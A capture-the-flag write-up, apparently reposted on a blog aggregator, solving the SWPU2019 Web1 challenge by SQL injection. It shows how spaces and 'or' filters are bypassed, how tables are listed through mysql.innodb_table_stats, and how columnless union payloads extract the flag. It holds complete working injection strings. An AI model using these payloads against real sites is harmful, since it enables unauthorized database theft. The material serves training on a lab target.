当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:59:00 【pakho_C】
[SWPU2019]Web1
Try to register as admin,It shows that it already exists, but the blasting password is not revealed
Register a test account to log in
Apply to advertise
Attempt injection
Try using single quotes, and an error is reported
ExistenceInject, try the passcode
there is filtering, try to fuzz, but limit the number of times and do not allow the same ad title
soCan only test manually, filter or order floor updatexml # - etc, and automatically eliminate spaces, try to inline comments /**/bypass
Since or is filtered, then information_schema can't be used, only no columns can be usedName injection, refer to: SQL injection without column name injection
1. Use group by to get the number of columns: 1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
the number of columns is 22
2. Use union query to view echo points: -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
The echo point is 2 3
When looking up the table name, it is found that or is filtered and cannot be bypassed by capitalization and double writing, so information_schema cannot be used because it contains or.There are two ways to bypass
InnoDb Engine
Starting from MYSQL5.5.8, InnoDB has become its default storage engine.In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats, both of which store information about the database and its data tables, but do not store column names.
sys database
In MYSQL above 5.7, a new sys database is added. The basic data of this library comes from information_schema and performance_chema, which does not store data itself.The table name can be obtained through the schema_auto_increment_columns in it.
Note: The sys library requires root privileges to access.innodb is disabled by default in mysql.
3. Use innodb to bypass and view the table name: -1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1
Get the table name ads users
4. Use columnless injection to view the content of the second field in the users table:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
Note: Select 1, 2, 3 used for joint injection here can be tested. If they do not match, there will be a reminder
Measured as 3 columns
Get the field name flag, then the first value in the third field is flag
Change the column to be queried to 3.
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- 【8.1】代码源 - 【第二大数字和】【石子游戏 III】【平衡二叉树】
- flink读取mongodb数据源
- DEJA_VU3D - Cesium功能集 之 056-智图Arcgis地图纠偏
- Summary of common methods of arrays
- UE4 第一人称角色模板 添加蹲伏功能
- [TA-Frost Wolf_may-"Hundred Talents Project"] Graphics 4.3 Real-time Shadow Introduction
- Based on holding YOLOv5 custom implementation of FacePose YOLO structure interpretation, YOLO data format conversion, YOLO process modification"
- 2022.8.4-----leetcode.1403
- 四位数显表头设计
- ffmpeg -sources分析
猜你喜欢
Use CH341A to program external Flash (W25Q16JV)
Getting Started with Kubernetes Networking
[Paper Notes] MapReduce: Simplified Data Processing on Large Clusters
Defect detection (image processing part)
36-Jenkins-Job迁移
2022-08-04T17:50:58.296+0800 ERROR Announcer-3 io.airlift.discovery.client.Announcer appears after successful startup of presto
Android interview question - how to write with his hands a non-blocking thread safe queue ConcurrentLinkedQueue?
四位数显表头设计
C+ +核心编程
Acid (ACID) Base (BASE) Principles for Database Design
随机推荐
BI业务分析思维:现金流量风控分析(二)信用、流动和投资风险
Use CH341A to program external Flash (W25Q16JV)
【树莓派】树莓派调光
程序开发的一些常规套路(一)
Package zip is not available, but is referred to by another package.
2022 Hangzhou Electric Multi-School 1st Game
JeeSite新建报表
【测量学】速成汇总——摘录高数帮
UE4 通过重叠事件开启门
Spark基础【介绍、入门WordCount案例】
Swing有几种常用的事件处理方式?如何监听事件?
事件解析树Drain3使用方法和解释
运维监控系统之Open-Falcon
Dameng 8 database export and import
【8.3】代码源 - 【喵 ~ 喵 ~ 喵~】【树】【与】
Summary of common methods of arrays
Hard power or soft power, which is more important to testers?
UE4 通过与其它Actor互动开门
国学*周易*梅花易数 代码实现效果展示 - 梅花心易
Leading the highland of digital medicine, Zhongshan Hospital explores to create a "new paradigm" for future hospitals